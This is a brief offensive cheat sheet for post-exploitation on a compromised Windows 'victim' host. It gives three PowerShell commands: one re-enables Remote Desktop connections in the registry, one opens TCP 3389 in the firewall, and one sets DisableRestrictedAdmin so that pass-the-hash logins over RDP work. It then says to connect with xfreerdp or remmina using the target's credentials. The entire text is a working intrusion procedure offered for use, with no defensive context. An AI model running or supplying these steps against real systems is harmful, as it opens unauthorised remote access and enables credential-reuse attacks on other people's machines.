Enable RDP Access to bypass UAC

Commands:

Victim session

1) Disable connection denial

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0

2) Enable Remote Desktop Connection

New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389

3) Enable RDP Pass-the-Hash (AD)

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

Then connect via RDP using any RDP client like remmina or xfreerdp to target using their credentials